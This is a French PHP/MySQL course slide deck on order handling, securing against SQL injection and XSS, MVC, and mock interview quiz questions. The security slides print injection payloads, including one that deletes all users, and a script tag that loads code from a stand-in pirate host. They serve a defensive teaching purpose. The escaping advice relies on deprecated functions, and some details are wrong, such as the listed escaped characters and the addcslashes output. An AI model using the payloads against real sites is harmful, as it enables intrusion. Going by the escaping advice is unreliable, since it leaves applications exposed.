Cours php & Mysql - 5éme partie

Séance précédente
• Projet: Listing des produits
• Projet: Listing de produits par catégorie
• Projet: Ajout de produits au panier
• Projet: Retirer des produits depuis le panier
• Les concepts fondamentaux de la programmation
orientée objet
• La programmation orientée objet en PHP
• Les exceptions
• Les fichiers
• Projet: Utilisation des concepts orientés objet

Séance d'aujourd'hui
• Projet: Passer la commande
• Sécuriser une application PHP/MySQL
• Projet: Sécuriser notre site e-commerce
• Architecture MVC
• Projet: Adoption de l'architecture MVC
• Simulation d’entretien technique PHP / MySQL

Sécuriser une application PHP/MySQL
5

Quoi sécuriser ?
• Dans un code php il faut sécuriser les données
entrantes et sortantes:
• Données entrantes: Depuis un formulaire
(injection SQL)
• Données sortantes: Affichages depuis la base de
données (injection HTML, XSS)
6

Injection SQL
7
<?php
$requete = "SELECT * FROM user WHERE email = ' " . $_GET['email'] . " '
AND password = ' " . $_GET['password'] . " ' ";
?>
<?php $_GET['password'] = " ' OR 1 = '1 "; ?>
<?php
$requete = "SELECT * FROM user WHERE email = ' " . $_GET['email'] . " '
AND password = ' ' OR 1 = '1' ";
?>

Injection SQL: suppression
8
<?php
$requete = "DELETE FROM user WHERE id = ' " . $_GET['id'] . " ' ";
?>
<?php $_GET['id'] = "1 ' OR id > '0 "; ?>
<?php
$requete = "DELETE FROM user WHERE id = '1' OR id > '0' ";
?>

Injection SQL: Utilisation des caractères % et _
9
<?php
$requete = "SELECT * FROM user WHERE email LIKE ' " . $_GET['email'] .
" ' ";
?>
<?php $_GET['email'] = "a%"; ?>
<?php
$requete = "SELECT * FROM user WHERE email LIKE 'a%' ";
?>

Injection SQL: Solution !
10
Une fonction très pratique pour empêcher les injections
SQL est mysql_real_escape_string()
Cette fonction échappe les caractères suivants:
les guillemets simples '
les guillemets doubles "
les slashes /
les caractères NULL
En gros, elle neutralise tous les caractères susceptibles
d'être à l'origine d'une injection SQL

11
Exemple d’utilisation de la fonction
mysql_real_escape_string()
<?php
$email = mysql_real_escape_string($_POST['email']);
$requete = "SELECT * FROM user WHERE email = '$email' ";
?>

12
Exemple d’utilisation de la fonction addcslashes()
<?php
$chaine = "%salut_";
// Échappement des caractères % et _
$chaine = addcslashes($chaine, '%_');
echo $chaine; // Affiche %salut_
?>

Injection SQL: Solution finale!
13
<?php
function secureInput($string)
{
// On regarde si le type de string est un nombre entier (int)
if (ctype_digit($string))
{
$string = intval($string);
}
else
{
$string = mysql_real_escape_string($string);
$string = addcslashes($string, '%_');
}
return $string;
}
?>

Injections HTML ou XSS
14
<html>
<head>
<title>Injection HTML</title>
</head>
<body>
<?php echo "Salut, tu t'appelles ".$_GET['pseudo']; ?>
</body>
</html>
http://mon_url/index.php?pseudo=<i>zaki</i>
<script src="http://sitepirate.com/injection.js" >

Injections HTML ou XSS: Solution !
15
<html>
<head>
<title>Injection HTML</title>
</head>
<body>
<?php echo "Salut, tu t'appelles ".htmlentities($_GET['pseudo']); ?>
</body>
</html>
<script src="http://sitepirate.com/injection.js" >

Projet: Sécuriser notre site e-
commerce
16

MVC c’est quoi ?
18
Le pattern MVC signifie Modèle - Vue - Contrôleur, il permet de bien organiser le
code source, son but est de séparer la logique du code en trois parties que l'on
retrouve dans des fichiers distincts.
Cette fonction échappe les caractères suivants:
Modèle : cette partie gère les données de votre site, son rôle est d'aller récupérer
les informations « brutes » dans la base de données, de les organiser et de les
assembler pour qu'elles puissent ensuite être traitées par le contrôleur, on y
trouve donc les requêtes SQL.
Vue : cette partie se concentre sur l'affichage, elle ne fait presque aucun calcul et
se contente de récupérer des variables pour savoir ce qu'elle doit afficher, on y
trouve essentiellement du code HTML mais aussi quelques boucles et conditions
PHP très simples.
Contrôleur : cette partie gère la logique du code qui prend des décisions, c'est en
quelque sorte l'intermédiaire entre le modèle et la vue : le contrôleur va demander
au modèle les données, les analyser, prendre des décisions et renvoyer le texte à
afficher à la vue, le contrôleur contient exclusivement du PHP.

MVC: principe de fonctionnement
19

Projet: Adoption de l'architecture
MVC
20

Simulation d’entretien technique
PHP / MySQL
21

Questions entretiens PHP / MySQL
22
Quelle fonction retourne le nombre de secondes
écoulées depuis le 1er janvier 1970 ?
1. time
2. timestamp
3. mktime
4. microtime

23
Quelle fonction retourne le nombre de secondes
écoulées depuis le 1er janvier 1970 ?
1. time
2. timestamp
3. mktime
4. microtime

24
Dans quel tableau de données retrouve-t-on les
cookies du visiteur ?
1. $SETCOOKIE
2. $COOKIES
3. $_COOKIE

25
Dans quel tableau de données retrouve-t-on les
cookies du visiteur ?
1. $SETCOOKIE
2. $COOKIES
3. $_COOKIE

26
Quelle fonction permet de lire le résultat d'une
ressources MySQL renvoyée par mysql_query() ?
1. mysql_fetch_row()
2. mysql_data_seek()
3. mysql_affected_rows()

27
Quelle fonction permet de lire le résultat d'une
ressources MySQL renvoyée par mysql_query() ?
1. mysql_fetch_row()
2. mysql_data_seek()
3. mysql_affected_rows()

28
Comment peut-on trier un tableau en ordre inverse ?
1. $tableau = ksort($tableau);
2. rsort($tableau);

29
Comment peut-on trier un tableau en ordre inverse ?
1. $tableau = ksort($tableau);
2. rsort($tableau);

30
Comment définit-on une constante ?
1. set('inconnue' = 'parfaite');
2. define("inconnue","parfaite");
3. const $inconnue = parfaite;

31
Comment définit-on une constante ?
1. set('inconnue' = 'parfaite');
2. define("inconnue","parfaite");
3. const $inconnue = parfaite;

32
On évalue le code suivant:
$kiwi = 'vert';
$fruit = &$kiwi;
$fruit = array();
$fruit['kiwi'] = $kiwi;
Que contient $fruit ?
1. Rien
2. wiki
3. vert
4. La variable n'est pas définie.

33
On évalue le code suivant:
$kiwi = 'vert';
$fruit = &$kiwi;
$fruit = array();
$fruit['kiwi'] = $kiwi;
Que contient $fruit ?
1. Rien
2. wiki
3. vert
4. La variable n'est pas définie.

34
Ma page index.php contient le code suivant:
$a = 'a'.file_exists(__FILE__);
$a1 = 'wiki';
$a2 = 'kiwi';
echo ${$a};
Qu'est-ce qui s'affiche si on y accède ?
1. Une page blanche.
2. kiwi.
3. wiki
4. Une erreur PHP.
5. Aucune des solutions précédentes

35
Ma page index.php contient le code suivant:
$a = 'a'.file_exists(__FILE__);
$a1 = 'wiki';
$a2 = 'kiwi';
echo ${$a};
Qu'est-ce qui s'affiche si on y accède ?
1. Une page blanche.
2. kiwi.
3. wiki
4. Une erreur PHP.
5. Aucune des solutions précédentes

36
Comment forcer l'arrêt d'un script ?
Comment inclure un script à l'intérieur d'un autre ?
Comment faire une redirection ?
Comment conserver des variables de page en page ?
Peut-on modifier une constante ?
Comment déclarer une classe en PHP 5 ?
Comment faire de l'héritage en PHP 5 ?
Est-il possible de faire de l'héritage multiple en PHP ?
Comment initialiser les arguments d'une fonction par
défaut ?
Le code PHP est-il visible pour tous ?
Comment concaténer des chaînes des caractères ?
Quelle est la différence entre l’envoi de données en
POST et en GET ?
Quelle est la différence entre include et require ?

Cours php & Mysql - 5éme partie

Contenu connexe

Tendances (19)

En vedette (20)

Similaire à Cours php & Mysql - 5éme partie (20)

Cours php & Mysql - 5éme partie